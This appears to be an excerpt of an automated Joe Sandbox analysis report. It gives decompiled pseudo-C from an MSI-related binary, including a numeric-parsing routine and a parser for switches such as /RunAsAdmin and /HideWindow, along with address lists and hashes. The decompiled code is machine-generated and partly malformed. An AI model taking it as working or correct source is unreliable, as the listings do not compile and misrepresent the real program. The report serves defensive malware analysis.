				_v160 = __rcx;
				r9d = 0;
				 *((char*)(__rcx + 0x30)) = 1;
				r8d = 0;
				 *(__rcx + 0x2c) = 0x16;
				_v168 = _t397;
				E00007FF77FF7AF70F5F4(__rax, __rbx, __rcx, __rdx, __rdx, _t389, __r8);
				_t379 = _t388[1];
				if (_t379 == 0) goto 0xaf710f15;
				 *_t379 =  *_t388;
				goto 0xaf710f15;
				_t380 = _t399 + 2;
				_t134 = r9b & 0xffffffff;
				_t256 = r12d;
				 *_t385 = _t380;
				_t253 =  !=  ? _t134 : _t134 | 0x00000002;
				if ((0x0000fffd & _t376 - 0x0000002b) != 0) goto 0xaf71092a;
				_t197 =  *_t380 & 0x0000ffff;
				_t371 =  &(_t380[1]);
				 *_t388 = _t371;
				_a16 = 0xa70;
				_v152 = 0xae6;
				_v148 = 0xaf0;
				_v144 = 0xb66;
				r8d = 0x660;
				_v140 = 0xb70;
				_t20 = _t371 - 0x80; // 0x5e0
				r9d = _t20;
				_v136 = 0xc66;
				r10d = 0x6f0;
				_v132 = 0xc70;
				r11d = 0x966;
				_v128 = 0xce6;
				_v124 = 0xcf0;
				_v120 = 0xd66;
				_v116 = 0xd70;
				_v112 = 0xe50;
				_v108 = 0xe5a;
				_v104 = 0xed0;
				_v100 = 0xeda;
				_v96 = 0xf20;
				_v92 = 0xf2a;
				_v88 = 0x1040;
				_v84 = 0x104a;
				_v80 = 0x17e0;
				_v76 = 0x17ea;
				_v72 = 0x1810;
				_v68 = 0xff1a;
				if ((r14d & 0xffffffef) != 0) goto 0xaf710c98;
				if (_t197 - 0x30 < 0) goto 0xaf710be7;
				if (_t197 - 0x3a >= 0) goto 0xaf710a36;
				goto 0xaf710be2;
				if (_t197 - 0xff10 >= 0) goto 0xaf710bd3;
				if (_t197 - r8w < 0) goto 0xaf710be7;
				if (_t197 - 0x66a >= 0) goto 0xaf710a5e;
				goto 0xaf710be2;
				if (_t197 - r10w < 0) goto 0xaf710be7;
				if (_t197 - 0x6fa >= 0) goto 0xaf710a7d;
				goto 0xaf710be2;
				if (_t197 - r11w < 0) goto 0xaf710be7;
				if (_t197 - 0x970 >= 0) goto 0xaf710a9c;
				goto 0xaf710be2;
				if (_t197 - r9w < 0) goto 0xaf710be7;
				if (_t197 - 0x9f0 >= 0) goto 0xaf710abb;
				goto 0xaf710be2;
				if (_t197 - (_t197 & 0x0000ffff) - r9d < 0) goto 0xaf710be7;
				if (_t197 - _a16 >= 0) goto 0xaf710adb;
				goto 0xaf710be2;
				if (_t197 - _v152 < 0) goto 0xaf710be7;
				if (_t197 - _v148 < 0) goto 0xaf710a2c;
				if (_t197 - _v144 < 0) goto 0xaf710be7;
				if (_t197 - _v140 < 0) goto 0xaf710a2c;
				if (_t197 - _v136 < 0) goto 0xaf710be7;
				if (_t197 - _v132 < 0) goto 0xaf710a2c;
				if (_t197 - _v128 < 0) goto 0xaf710be7;
				if (_t197 - _v124 < 0) goto 0xaf710a2c;
				if (_t197 - _v120 < 0) goto 0xaf710be7;
				if (_t197 - _v116 < 0) goto 0xaf710a2c;
				if (_t197 - _v112 < 0) goto 0xaf710be7;
				if (_t197 - _v108 < 0) goto 0xaf710a2c;
				if (_t197 - _v104 < 0) goto 0xaf710be7;
				if (_t197 - _v100 < 0) goto 0xaf710a2c;
				if (_t197 - _v96 < 0) goto 0xaf710be7;
				if (_t197 - _v92 < 0) goto 0xaf710a2c;
				if (_t197 - _v88 < 0) goto 0xaf710be7;
				if (_t197 - _v84 < 0) goto 0xaf710a2c;
				if (_t197 - _v80 < 0) goto 0xaf710be7;
				if (_t197 - _v76 < 0) goto 0xaf710a2c;
				if ((_t197 & 0x0000ffff) - _v72 - 9 > 0) goto 0xaf710be7;
				goto 0xaf710a2c;
				if (_t197 - _v68 >= 0) goto 0xaf710be7;
				if ((_t197 & 0x0000ffff) - 0xff10 != 0xffffffff) goto 0xaf710c09;
				_t64 = _t380 - 0x41; // -17
				_t65 = _t380 - 0x61; // -49
				_t154 = _t65;
				if (_t64 - 0x19 <= 0) goto 0xaf710bfe;
				if (_t154 - 0x19 > 0) goto 0xaf710c89;
				if (_t154 - 0x19 > 0) goto 0xaf710c06;
				_t66 = _t380 - 0x37; // -231
				if (_t66 != 0) goto 0xaf710c89;
				_t381 =  *_t388;
				r9d = 0xffdf;
				_t246 =  *_t381 & 0x0000ffff;
				_t67 =  &(_t381[1]); // 0xffe1
				_t394 = _t67;
				 *_t388 = _t394;
				_t68 = _t385 - 0x58; // 0x698
				if ((r9w & _t68) == 0) goto 0xaf710c71;
				 *_t388 = _t381;
				_t158 =  !=  ? r14d : 8;
				r14d =  !=  ? r14d : 8;
				if (_t246 == 0) goto 0xaf710c69;
				if ( *_t381 == _t246) goto 0xaf710c69;
				E00007FF77FF7AF70F830(_t371);
				 *_t371 = 0x16;
				E00007FF77FF7AF70F6C4();
				r8d = 0x660;
				r10d = 0x6f0;
				r11d = 0x966;
				goto 0xaf710c98;
				r8d = 0x660;
				goto 0xaf710c98;
				_t198 =  *_t394 & 0x0000ffff;
				_t71 =  &(_t394[1]); // 0xffe3
				_t372 = _t71;
				 *_t388 = _t372;
				r8d = 0x660;
				goto 0xaf710c8e;
				_t163 =  !=  ? r14d : 0xa;
				r14d = 0xa;
				_t164 = ( !=  ? r14d : 0xa) | 0xffffffff;
				_t73 = (( !=  ? r14d : 0xa) | 0xffffffff) % r14d;
				_t248 = (( !=  ? r14d : 0xa) | 0xffffffff) % r14d;
				r13d = 0x30;
				r15d = 0xff10;
				r9d = 0xa / r14d;
				if (_t198 - r13w < 0) goto 0xaf710e68;
				if (_t198 - 0x3a >= 0) goto 0xaf710cca;
				goto 0xaf710e63;
				if (_t198 - r15w >= 0) goto 0xaf710e53;
				if (_t198 - r8w < 0) goto 0xaf710e68;
				if (_t198 - 0x66a >= 0) goto 0xaf710cf3;
				goto 0xaf710e63;
				if (_t198 - r10w < 0) goto 0xaf710e68;
				if (_t198 - 0x6fa >= 0) goto 0xaf710d12;
				goto 0xaf710e63;
				if (_t198 - r11w < 0) goto 0xaf710e68;
				if (_t198 - 0x970 >= 0) goto 0xaf710d31;
				goto 0xaf710e63;
				if (_t198 - 0x9e6 < 0) goto 0xaf710e68;
				_t76 =  &(_t372[5]); // 0x9f0
				if (_t198 - _t76 >= 0) goto 0xaf710d51;
				goto 0xaf710e63;
				if (_t198 - 0xa66 < 0) goto 0xaf710e68;
				if (_t198 - _a16 < 0) goto 0xaf710d47;
				if (_t198 - _v152 < 0) goto 0xaf710e68;
				if (_t198 - _v148 < 0) goto 0xaf710d47;
				if (_t198 - _v144 < 0) goto 0xaf710e68;
				if (_t198 - _v140 < 0) goto 0xaf710d47;
				if (_t198 - _v136 < 0) goto 0xaf710e68;
				if (_t198 - _v132 < 0) goto 0xaf710d47;
				if (_t198 - _v128 < 0) goto 0xaf710e68;
				if (_t198 - _v124 < 0) goto 0xaf710d47;
				if (_t198 - _v120 < 0) goto 0xaf710e68;
				if (_t198 - _v116 < 0) goto 0xaf710d47;
				if (_t198 - _v112 < 0) goto 0xaf710e68;
				if (_t198 - _v108 < 0) goto 0xaf710d47;
				if (_t198 - _v104 < 0) goto 0xaf710e68;
				if (_t198 - _v100 < 0) goto 0xaf710d47;
				if (_t198 - _v96 < 0) goto 0xaf710e68;
				if (_t198 - _v92 < 0) goto 0xaf710d47;
				if (_t198 - _v88 < 0) goto 0xaf710e68;
				if (_t198 - _v84 < 0) goto 0xaf710d47;
				if (_t198 - _v80 < 0) goto 0xaf710e68;
				if (_t198 - _v76 < 0) goto 0xaf710d47;
				if ((_t198 & 0x0000ffff) - _v72 - 9 > 0) goto 0xaf710e68;
				goto 0xaf710e63;
				if (_t198 - _v68 >= 0) goto 0xaf710e68;
				if ((_t198 & 0x0000ffff) - r15d != 0xffffffff) goto 0xaf710e8b;
				_t100 = _t381 - 0x41; // -65
				_t101 = _t381 - 0x61; // -97
				_t184 = _t101;
				if (_t100 - 0x19 <= 0) goto 0xaf710e7b;
				if (_t184 - 0x19 > 0) goto 0xaf710e88;
				if (_t184 - 0x19 > 0) goto 0xaf710e83;
				goto 0xaf710e8b;
				_t395 =  *_t388;
				if (((_t198 & 0x0000ffff) + 0x1ffffffa9 | 0xffffffff) - r14d >= 0) goto 0xaf710ecf;
				_t199 =  *_t395 & 0x0000ffff;
				_t250 = _t372 + _t381;
				_t257 = _t250;
				_t107 =  &(_t395[1]); // 0x2
				r8d = 0x660;
				 *_t388 = _t107;
				_t254 = ( !=  ? _t134 : _t134 | 0x00000002) | (r12d & 0xffffff00 | _t250 - r12d * r14d > 0x00000000 | r12d & 0xffffff00 | _t256 - r9d > 0x00000000) << 0x00000002 | 0x00000008;
				goto 0xaf710caf;
				_t400 = _v64;
				_t109 = _t395 - 2; // -2
				_t374 = _t109;
				_t398 = _a8;
				 *_t388 = _t374;
				if (_t199 == 0) goto 0xaf710f00;
				if ( *_t374 == _t199) goto 0xaf710f00;
				E00007FF77FF7AF70F830(_t374);
				 *_t374 = 0x16;
				E00007FF77FF7AF70F6C4();
				if ((dil & 0x00000008) != 0) goto 0xaf710f1c;
				_t375 = _t388[1];
				 *_t388 = _t400;
				if (_t375 == 0) goto 0xaf710f15;
				 *_t375 = _t400;
				goto 0xaf710fa0;
				r8d = 0x80000000;
				_t114 = _t395 - 1; // -1
				r9d = _t114;
				if ((dil & 0x00000004) != 0) goto 0xaf710f44;
				if ((dil & 0x00000001) == 0) goto 0xaf710f87;
				if ((dil & 0x00000002) == 0) goto 0xaf710f3f;
				if (_t257 - r8d <= 0) goto 0xaf710f8d;
				goto 0xaf710f44;
				if (_t257 - r9d <= 0) goto 0xaf710f8f;
				 *((char*)(_t398 + 0x30)) = 1;
				 *((intOrPtr*)(_t398 + 0x2c)) = 0x22;
				if ((_t254 & 0x00000001) != 0) goto 0xaf710f5f;
				goto 0xaf710f8f;
				_t386 = _t388[1];
				if ((_t254 & 0x00000002) == 0) goto 0xaf710f77;
				if (_t386 == 0) goto 0xaf710f72;
				 *_t386 =  *_t388;
				goto 0xaf710fa0;
				if (_t386 == 0) goto 0xaf710f82;
				 *_t386 =  *_t388;
				goto 0xaf710fa0;
				if ((dil & 0x00000002) == 0) goto 0xaf710f8f;
				_t387 = _t388[1];
				if (_t387 == 0) goto 0xaf710f9e;
				 *_t387 =  *_t388;
				return  ~(_t257 | 0xffffffff);
			}

0x7ff7af710864
0x7ff7af710864
0x7ff7af710864
0x7ff7af710864
0x7ff7af710869
0x7ff7af710880
0x7ff7af710883
0x7ff7af710886
0x7ff7af71088e
0x7ff7af710891
0x7ff7af710897
0x7ff7af710899
0x7ff7af71089e
0x7ff7af7108a4
0x7ff7af7108a9
0x7ff7af7108ae
0x7ff7af7108b0
0x7ff7af7108b7
0x7ff7af7108b9
0x7ff7af7108be
0x7ff7af7108c1
0x7ff7af7108c5
0x7ff7af7108c8
0x7ff7af7108d3
0x7ff7af7108d8
0x7ff7af7108dd
0x7ff7af7108e4
0x7ff7af7108ed
0x7ff7af7108f0
0x7ff7af7108f9
0x7ff7af7108fd
0x7ff7af710901
0x7ff7af710906
0x7ff7af710915
0x7ff7af71091e
0x7ff7af710920
0x7ff7af710923
0x7ff7af710927
0x7ff7af71092a
0x7ff7af71093a
0x7ff7af710947
0x7ff7af710954
0x7ff7af71095c
0x7ff7af710962
0x7ff7af71096a
0x7ff7af71096a
0x7ff7af71096e
0x7ff7af710976
0x7ff7af71097c
0x7ff7af710984
0x7ff7af71098a
0x7ff7af710992
0x7ff7af71099a
0x7ff7af7109a2
0x7ff7af7109aa
0x7ff7af7109b2
0x7ff7af7109ba
0x7ff7af7109c2
0x7ff7af7109ca
0x7ff7af7109d2
0x7ff7af7109da
0x7ff7af7109e2
0x7ff7af7109ea
0x7ff7af7109f2
0x7ff7af7109fa
0x7ff7af710a05
0x7ff7af710a17
0x7ff7af710a20
0x7ff7af710a2a
0x7ff7af710a31
0x7ff7af710a39
0x7ff7af710a43
0x7ff7af710a51
0x7ff7af710a59
0x7ff7af710a62
0x7ff7af710a70
0x7ff7af710a78
0x7ff7af710a81
0x7ff7af710a8f
0x7ff7af710a97
0x7ff7af710aa0
0x7ff7af710aae
0x7ff7af710ab6
0x7ff7af710abe
0x7ff7af710acc
0x7ff7af710ad6
0x7ff7af710ae2
0x7ff7af710aed
0x7ff7af710afa
0x7ff7af710b05
0x7ff7af710b12
0x7ff7af710b1d
0x7ff7af710b2a
0x7ff7af710b35
0x7ff7af710b42
0x7ff7af710b4d
0x7ff7af710b5a
0x7ff7af710b65
0x7ff7af710b72
0x7ff7af710b79
0x7ff7af710b86
0x7ff7af710b8d
0x7ff7af710b9a
0x7ff7af710ba1
0x7ff7af710bae
0x7ff7af710bb5
0x7ff7af710bcc
0x7ff7af710bce
0x7ff7af710bdb
0x7ff7af710be5
0x7ff7af710bea
0x7ff7af710bf0
0x7ff7af710bf0
0x7ff7af710bf3
0x7ff7af710bf8
0x7ff7af710c01
0x7ff7af710c06
0x7ff7af710c0b
0x7ff7af710c0d
0x7ff7af710c10
0x7ff7af710c16
0x7ff7af710c19
0x7ff7af710c19
0x7ff7af710c1d
0x7ff7af710c20
0x7ff7af710c27
0x7ff7af710c2c
0x7ff7af710c34
0x7ff7af710c38
0x7ff7af710c3e
0x7ff7af710c43
0x7ff7af710c45
0x7ff7af710c4a
0x7ff7af710c50
0x7ff7af710c55
0x7ff7af710c5b
0x7ff7af710c61
0x7ff7af710c67
0x7ff7af710c69
0x7ff7af710c6f
0x7ff7af710c71
0x7ff7af710c75
0x7ff7af710c75
0x7ff7af710c79
0x7ff7af710c7c
0x7ff7af710c87
0x7ff7af710c91
0x7ff7af710c95
0x7ff7af710c9a
0x7ff7af710c9d
0x7ff7af710c9d
0x7ff7af710ca0
0x7ff7af710ca6
0x7ff7af710cac
0x7ff7af710cb3
0x7ff7af710cbd
0x7ff7af710cc5
0x7ff7af710cce
0x7ff7af710cd8
0x7ff7af710ce6
0x7ff7af710cee
0x7ff7af710cf7
0x7ff7af710d05
0x7ff7af710d0d
0x7ff7af710d16
0x7ff7af710d24
0x7ff7af710d2c
0x7ff7af710d39
0x7ff7af710d3f
0x7ff7af710d45
0x7ff7af710d4c
0x7ff7af710d59
0x7ff7af710d67
0x7ff7af710d70
0x7ff7af710d7b
0x7ff7af710d84
0x7ff7af710d8f
0x7ff7af710d98
0x7ff7af710da3
0x7ff7af710dac
0x7ff7af710db7
0x7ff7af710dc0
0x7ff7af710dcb
0x7ff7af710dd8
0x7ff7af710de3
0x7ff7af710df0
0x7ff7af710df7
0x7ff7af710e04
0x7ff7af710e0b
0x7ff7af710e18
0x7ff7af710e1f
0x7ff7af710e2c
0x7ff7af710e33
0x7ff7af710e4a
0x7ff7af710e51
0x7ff7af710e5b
0x7ff7af710e66
0x7ff7af710e6b
0x7ff7af710e71
0x7ff7af710e71
0x7ff7af710e74
0x7ff7af710e79
0x7ff7af710e7e
0x7ff7af710e86
0x7ff7af710e8b
0x7ff7af710e91
0x7ff7af710e93
0x7ff7af710e9d
0x7ff7af710eae
0x7ff7af710eb5
0x7ff7af710ebc
0x7ff7af710ec5
0x7ff7af710ec8
0x7ff7af710eca
0x7ff7af710ecf
0x7ff7af710ed7
0x7ff7af710ed7
0x7ff7af710edb
0x7ff7af710ee3
0x7ff7af710ee9
0x7ff7af710eee
0x7ff7af710ef0
0x7ff7af710ef5
0x7ff7af710efb
0x7ff7af710f04
0x7ff7af710f06
0x7ff7af710f0a
0x7ff7af710f10
0x7ff7af710f12
0x7ff7af710f17
0x7ff7af710f1c
0x7ff7af710f22
0x7ff7af710f22
0x7ff7af710f2a
0x7ff7af710f30
0x7ff7af710f36
0x7ff7af710f3b
0x7ff7af710f3d
0x7ff7af710f42
0x7ff7af710f46
0x7ff7af710f4e
0x7ff7af710f58
0x7ff7af710f5d
0x7ff7af710f5f
0x7ff7af710f65
0x7ff7af710f6a
0x7ff7af710f6f
0x7ff7af710f75
0x7ff7af710f7a
0x7ff7af710f7f
0x7ff7af710f85
0x7ff7af710f8b
0x7ff7af710f8f
0x7ff7af710f96
0x7ff7af710f9b
0x7ff7af710fba

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7AF7108A4
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7AF710C50
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7AF710EFB

Strings

p, xrefs: 00007FF7AF71092A
f, xrefs: 00007FF7AF71099A
p, xrefs: 00007FF7AF7109A2

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: f$p$p
API String ID: 3215553584-1995029353
Opcode ID: 433be7cde112382687fe966c6f12221b56015aaa3290450f9b9d9f3fc13424f8
Instruction ID: 2a09a66f206a9cbb448297147ceefe571eccf14a59c0b48c781b1f52d940051c
Opcode Fuzzy Hash: 433be7cde112382687fe966c6f12221b56015aaa3290450f9b9d9f3fc13424f8
Instruction Fuzzy Hash: 8F12B56AA4E6C385FB207E15E0546FAF251FB48754FC64132E68A465F4DF3CE488CB28

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF6E0800 Relevance: 10.9, APIs: 2, Strings: 4, Instructions: 420
registryCOMMON

Download Yara Rule

C-Code - Quality: 27%

			E00007FF77FF7AF6E0800(void* __ecx, void* __rax, long long __rbx, signed short* __rcx, long long* __rdx, long long __rdi, long long __rbp, void* __r8, signed short* _a8, char _a16, char _a32) {
				long long _v24;
				long long _v32;
				long long _v40;
				intOrPtr _v56;
				signed long long _v64;
				long long _v72;
				signed int _t83;
				signed int _t86;
				signed int _t92;
				signed int _t93;
				signed int _t94;
				signed int _t95;
				signed int _t96;
				signed int _t97;
				void* _t98;
				signed int _t99;
				signed int _t101;
				signed int _t102;
				void* _t115;
				void* _t125;
				void* _t136;
				void* _t148;
				signed short _t154;
				void* _t193;
				void* _t208;
				signed long long _t212;
				signed int* _t213;
				signed int* _t214;
				short* _t215;
				char* _t217;
				char* _t218;
				signed short* _t219;
				short* _t220;
				signed short* _t223;
				signed short* _t224;
				signed short* _t225;
				signed short* _t226;
				signed short* _t227;
				signed short* _t228;
				signed short* _t234;
				signed short* _t252;
				signed short* _t254;
				signed short* _t256;
				signed short* _t258;
				intOrPtr* _t264;
				intOrPtr _t267;
				signed short* _t269;
				signed short* _t270;
				void* _t274;
				void* _t275;
				signed short* _t284;
				signed short* _t286;
				signed short* _t288;
				signed short* _t290;
				signed short* _t294;
				signed short* _t319;
				signed short* _t321;
				signed short* _t323;
				signed short* _t326;
				void* _t327;

				_t268 = __rdi;
				_t98 = __ecx;
				if (__rdx == 0) goto 0xaf6e0e06;
				_a8 = __rcx;
				_t275 = __r8;
				if ( *__rcx == 0) goto 0xaf6e0dff;
				_v24 = __rbx;
				_t294 = L"/EnforcedRunAsAdmin ";
				_t95 = L"/EnforcedRunAsAdmin " & 0x0000ffff;
				_v32 = __rbp;
				_v40 = __rdi;
				if (_t95 == 0) goto 0xaf6e0884;
				r8d =  *__rcx & 0x0000ffff;
				if (r8w == 0) goto 0xaf6e0884;
				r8w = r8w | 0x00000020;
				if (r8w == ( *_t294 & 0x0000ffff | 0x00000020)) goto 0xaf6e0879;
				goto 0xaf6e087d;
				if (_t294[1] != 0) goto 0xaf6e0850;
				_t193 =  !=  ?  &(__rcx[1]) : __rax;
				if (_t193 != __rcx) goto 0xaf6e08d7;
				if (_t95 == 0) goto 0xaf6e08ad;
				if (_t294[1] != 0) goto 0xaf6e08a0;
				_t223 =  &(__rcx[_t193 + 1]);
				if (_t223 == 0) goto 0xaf6e08d2;
				asm("o16 nop [eax+eax]");
				_t115 = ( *_t223 & 0x0000ffff) - 1 - 0x1f;
				if (_t115 > 0) goto 0xaf6e08d2;
				_t224 =  &(_t223[1]);
				if (_t115 != 0) goto 0xaf6e08c0;
				_a8 = _t224;
				_t96 = L"/DontWait " & 0x0000ffff;
				_t284 = L"/DontWait ";
				if (_t96 == 0) goto 0xaf6e0926;
				_t252 = _t224;
				r10d =  *_t252 & 0x0000ffff;
				if (r10w == 0) goto 0xaf6e0926;
				r10w = r10w | 0x00000020;
				if (r10w == ( *_t284 & 0x0000ffff | 0x00000020)) goto 0xaf6e091c;
				_t319 =  &(_t252[1]);
				goto 0xaf6e0920;
				if (_t284[1] != 0) goto 0xaf6e08f3;
				_t196 =  !=  ? _t319 : __rbp;
				_t121 = ( !=  ? _t319 : __rbp) - _t224;
				if (( !=  ? _t319 : __rbp) == _t224) goto 0xaf6e093a;
				goto 0xaf6e0979;
				if (_t96 == 0) goto 0xaf6e094f;
				if (_t284[1] != 0) goto 0xaf6e0942;
				_t225 =  &(_t224[__rbp + 1]);
				if (_t225 == 0) goto 0xaf6e0972;
				_t125 = ( *_t225 & 0x0000ffff) - 1 - 0x1f;
				if (_t125 > 0) goto 0xaf6e0972;
				_t226 =  &(_t225[1]);
				if (_t125 != 0) goto 0xaf6e0960;
				_a8 = _t226;
				 *((char*)(__rdx + 0x32)) = 0;
				_t286 = L"/RunAsAdmin ";
				_t101 = L"/RunAsAdmin " & 0x0000ffff;
				_t217 = __rdx + 0x30;
				if (_t101 == 0) goto 0xaf6e09d3;
				_t254 = _t226;
				r10d =  *_t254 & 0x0000ffff;
				if (r10w == 0) goto 0xaf6e09d3;
				r10w = r10w | 0x00000020;
				if (r10w == ( *_t286 & 0x0000ffff | 0x00000020)) goto 0xaf6e09c9;
				_t321 =  &(_t254[1]);
				goto 0xaf6e09cd;
				if (_t286[1] != 0) goto 0xaf6e09a0;
				_t200 =  !=  ? _t321 : __rbp;
				_t131 = ( !=  ? _t321 : __rbp) - _t226;
				if (( !=  ? _t321 : __rbp) == _t226) goto 0xaf6e09ed;
				if (_t217 == 0) goto 0xaf6e0a3f;
				 *_t217 = bpl;
				goto 0xaf6e0a3f;
				if (_t101 == 0) goto 0xaf6e0a0d;
				asm("o16 nop [eax+eax]");
				if (_t286[1] != 0) goto 0xaf6e0a00;
				_t227 =  &(_t226[__rbp + 1]);
				if (_t227 == 0) goto 0xaf6e0a32;
				asm("o16 nop [eax+eax]");
				_t136 = ( *_t227 & 0x0000ffff) - 1 - 0x1f;
				if (_t136 > 0) goto 0xaf6e0a32;
				_t228 =  &(_t227[1]);
				if (_t136 != 0) goto 0xaf6e0a20;
				_a8 = _t228;
				if (_t217 == 0) goto 0xaf6e0a3f;
				 *_t217 = 1;
				_t102 = L"/HideWindow" & 0x0000ffff;
				_t288 = L"/HideWindow";
				_t218 = __rdx + 0x31;
				if (_t102 == 0) goto 0xaf6e0a93;
				_t256 = _t228;
				r10d =  *_t256 & 0x0000ffff;
				if (r10w == 0) goto 0xaf6e0a93;
				r10w = r10w | 0x00000020;
				if (r10w == ( *_t288 & 0x0000ffff | 0x00000020)) goto 0xaf6e0a89;
				_t323 =  &(_t256[1]);
				goto 0xaf6e0a8d;
				if (_t288[1] != 0) goto 0xaf6e0a60;
				_t204 =  !=  ? _t323 : __rbp;
				_t143 = ( !=  ? _t323 : __rbp) - _t228;
				if (( !=  ? _t323 : __rbp) == _t228) goto 0xaf6e0aad;
				if (_t218 == 0) goto 0xaf6e0aff;
				 *_t218 = bpl;
				goto 0xaf6e0aff;
				if (_t102 == 0) goto 0xaf6e0acd;
				asm("o16 nop [eax+eax]");
				if (_t288[1] != 0) goto 0xaf6e0ac0;
				_t258 =  &(_t228[__rbp + 1]);
				if (_t258 == 0) goto 0xaf6e0af2;
				asm("o16 nop [eax+eax]");
				_t148 = ( *_t258 & 0x0000ffff) - 1 - 0x1f;
				if (_t148 > 0) goto 0xaf6e0af2;
				if (_t148 != 0) goto 0xaf6e0ae0;
				_a8 =  &(_t258[1]);
				if (_t218 == 0) goto 0xaf6e0aff;
				 *_t218 = 1;
				E00007FF77FF7AF6E0500(__rbp + 1, _t218,  &_a8, __rdx, __rdi, _t327);
				E00007FF77FF7AF6E0680(__rbp + 1, _t218,  &_a8, _t275, _t268, _t274);
				_t269 = _a8;
				if (( *_t269 & 0x0000ffff) != 0x22) goto 0xaf6e0c74;
				_t83 = _t269[1] & 0x0000ffff;
				_t270 =  &(_t269[1]);
				if (_t83 == 0) goto 0xaf6e0b57;
				if (_t83 == 0x22) goto 0xaf6e0c98;
				if ((_t270[1] & 0x0000ffff) != 0) goto 0xaf6e0b40;
				_t154 =  *0xaf74749c; // 0x48
				if (_t154 == 0) goto 0xaf6e0b93;
				_t290 = _t270 - 0xaf74749c + 0xaf74749c;
				if (_t290 == 0) goto 0xaf6e0d66;
				if ( *_t290 != ( *0xaf74749c & 0x0000ffff)) goto 0xaf6e0d66;
				if ( *0x7FF7AF74749E != 0) goto 0xaf6e0b70;
				_a16 = 0x800;
				asm("inc ecx");
				asm("movups [esp+0x30], xmm0");
				asm("psrldq xmm0, 0x8");
				asm("dec cx");
				_t234 = _t290;
				_t97 =  *_t290 & 0x0000ffff;
				if (_t97 == 0) goto 0xaf6e0c02;
				asm("o16 nop [eax+eax]");
				_t264 = _t270 - _t234 + _t234;
				if (_t264 == 0) goto 0xaf6e0cb6;
				_t86 =  *_t234 & 0x0000ffff;
				if ( *_t264 != _t86) goto 0xaf6e0cb6;
				if (_t234[1] != 0) goto 0xaf6e0be0;
				if (_t97 == 0) goto 0xaf6e0c1d;
				asm("o16 nop [eax+eax]");
				_t208 = __rbp + 1;
				if (_t290[1] != 0) goto 0xaf6e0c10;
				_t34 = _t208 + 1; // 0x1
				_t326 =  &(_t270[_t34]);
				if ( *_t326 == _t98) goto 0xaf6e0c4c;
				asm("o16 nop [eax+eax]");
				if (_t326[1] != 0) goto 0xaf6e0c40;
				_t219 =  &(_t326[__rbp + 1]);
				if (_t219 - _t326 < 0) goto 0xaf6e0d23;
				if ( *_t219 == 0x5c) goto 0xaf6e0ccb;
				_t220 = _t219 - 2;
				if (_t220 - _t326 >= 0) goto 0xaf6e0c60;
				goto 0xaf6e0d23;
				if (_t86 == 0) goto 0xaf6e0b57;
				if (_t86 == 0x20) goto 0xaf6e0c98;
				if (( *0x7FF7AF754712 & 0x0000ffff) != 0) goto 0xaf6e0c80;
				goto 0xaf6e0b57;
				if (0xaf754710 == 0) goto 0xaf6e0b5a;
				if ( *0xaf754710 == 0) goto 0xaf6e0b5a;
				 *0xaf754710 = 0;
				goto 0xaf6e0b5a;
				if (_v56 + 0x10 != 0xaf746dc0) goto 0xaf6e0bb0;
				goto 0xaf6e0c2a;
				 *_t220 = 0;
				r9d = 1;
				_v72 =  &_a32;
				r8d = 0;
				if (RegOpenKeyExW(??, ??, ??, ??, ??) != 0) goto 0xaf6e0d23;
				_t212 =  &_a16;
				_v64 = _t212;
				r9d = 0;
				_v72 = 0xaf754710;
				r8d = 0;
				RegQueryValueExW(??, ??, ??, ??, ??, ??);
				0xaf754710[_t212] = 0;
				if (( *0xaf754710 & 0x0000ffff) != 0x22) goto 0xaf6e0db1;
				_t92 =  *0xaf754712 & 0x0000ffff;
				if (_t92 == 0) goto 0xaf6e0d63;
				asm("o16 nop [eax+eax]");
				if (_t92 == 0x22) goto 0xaf6e0dd5;
				_t93 =  *0x7FF7AF754714 & 0x0000ffff;
				if (_t93 != 0) goto 0xaf6e0d50;
				_t213 =  *((intOrPtr*)(__rdx + 0x18));
				if ( *_t213 != 0) goto 0xaf6e0dee;
				_t99 =  *0xaf754712 & 0x0000ffff;
				if (_t99 == 0) goto 0xaf6e0d94;
				 *_t213 = _t99;
				_t214 =  &(_t213[0]);
				if (( *0x7FF7AF754714 & 0x0000ffff) != 0) goto 0xaf6e0d80;
				 *_t214 = 0;
				_t267 =  *((intOrPtr*)(__rdx + 0x18));
				if (_t214 - _t267 < 0) goto 0xaf6e0dee;
				if ( *_t214 == 0x5c) goto 0xaf6e0deb;
				_t215 = _t214 - 2;
				if (_t215 - _t267 >= 0) goto 0xaf6e0da0;
				goto 0xaf6e0dee;
				if (_t93 == 0) goto 0xaf6e0d63;
				if (_t93 == 0x20) goto 0xaf6e0dd5;
				_t94 =  *0x7FF7AF754714 & 0x0000ffff;
				if (_t94 != 0) goto 0xaf6e0dc0;
				goto 0xaf6e0d63;
				if (0xaf754712 == 0) goto 0xaf6e0d66;
				if ( *0xaf754712 == 0) goto 0xaf6e0d66;
				 *0xaf754712 = 0;
				goto 0xaf6e0d66;
				 *_t215 = 0;
				 *__rdx = 0xaf754712;
				 *((long long*)(__rdx + 8)) = 0x7ff7af754716;
				return _t94;
			}

0x7ff7af6e0800
0x7ff7af6e0800
0x7ff7af6e0803
0x7ff7af6e0809
0x7ff7af6e0819
0x7ff7af6e081f
0x7ff7af6e0825
0x7ff7af6e082a
0x7ff7af6e0831
0x7ff7af6e083b
0x7ff7af6e0843
0x7ff7af6e084b
0x7ff7af6e0850
0x7ff7af6e0858
0x7ff7af6e0866
0x7ff7af6e086f
0x7ff7af6e0877
0x7ff7af6e0882
0x7ff7af6e088c
0x7ff7af6e0893
0x7ff7af6e089a
0x7ff7af6e08ab
0x7ff7af6e08ad
0x7ff7af6e08b4
0x7ff7af6e08b6
0x7ff7af6e08c6
0x7ff7af6e08ca
0x7ff7af6e08cc
0x7ff7af6e08d0
